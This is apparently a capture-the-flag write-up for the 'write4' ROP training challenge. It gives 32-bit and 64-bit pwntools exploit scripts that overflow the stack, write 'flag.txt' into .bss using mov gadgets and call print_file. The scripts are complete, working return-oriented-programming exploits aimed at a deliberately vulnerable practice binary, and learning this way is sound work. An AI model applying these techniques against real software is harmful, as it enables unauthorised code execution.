write4

write4 32bit

Solution

The string "/bin/cat flag.txt" is not present in the binary, so the method used in "split" won't work here.

We are given a function print_file and our task is to call print_file("flag.txt"). There is no "flag.txt" string in the binary either, so we have to input this string and store it somewhere, for example, the .bss segment.

As the instruction suggests, we should look for a gadget mov [reg], reg:

The idea is:

  1. Store the string "flag" in ebp.

  2. Store the address of bss in edi.

  3. Use the gadget mov dword ptr [edi], ebp ; ret to pass the string flag to the .bss segment.

  4. Repeat step 1 to 3 to pass the string ".txt" to bss + 4.

  5. Call print_file(bss)

Exploit

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("write432", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)

log.info(f"offset: {offset}")

#--------ROP--------#

# ROPgadget --binary write432 --only "mov|ret"
# mov dword ptr [edi], ebp ; ret
mov_gadget = 0x08048543
# ROPgadget --binary write432 --only "pop|ret" | grep edi
pop_edi_ebp = 0x080485aa
print_file = elf.plt["print_file"]
bss = elf.bss()

payload = flat(
    b"A" * offset,

    # Step 1: pass "flag.txt"
    pop_edi_ebp, bss, "flag", # pass "flag"
    mov_gadget,
    pop_edi_ebp, bss + 4, ".txt", # pass ".txt"
    mov_gadget,

    # Step 2: call print_file("flag.txt")
    print_file,
    b"B" * 4, # ret addr for system
    bss, # arg for system
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()

write4 64bit

Solution

Again, the 64-bit case is even simpler. The idea is the same, except we can pass the string "flag.txt" in one round because we are dealing with 64-bit registers.

Exploit

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("write4", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))

log.info(f"offset: {offset}")

#--------ROP--------#

# ROPgadget --binary write4 --only "mov|ret"
# mov qword ptr [r14], r15 ; ret
mov_gadget = 0x0000000000400628
# ROPgadget --binary write4 --only "pop|ret" | grep r14
pop_r14_r15 = 0x0000000000400690
print_file = elf.plt["print_file"]
# ROPgadget --binary write4 --only "pop|ret" | grep rdi
pop_rdi = 0x0000000000400693
ret = 0x4004e6
bss = elf.bss()

payload = flat(
    b"A" * offset,

    # Step 1: pass "flag.txt"
    pop_r14_r15, bss, "flag.txt", # pass "flag.txt"
    mov_gadget,

    # Step 2: call print_file("flag.txt")
    pop_rdi, bss,
    ret, print_file,
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()

Last updated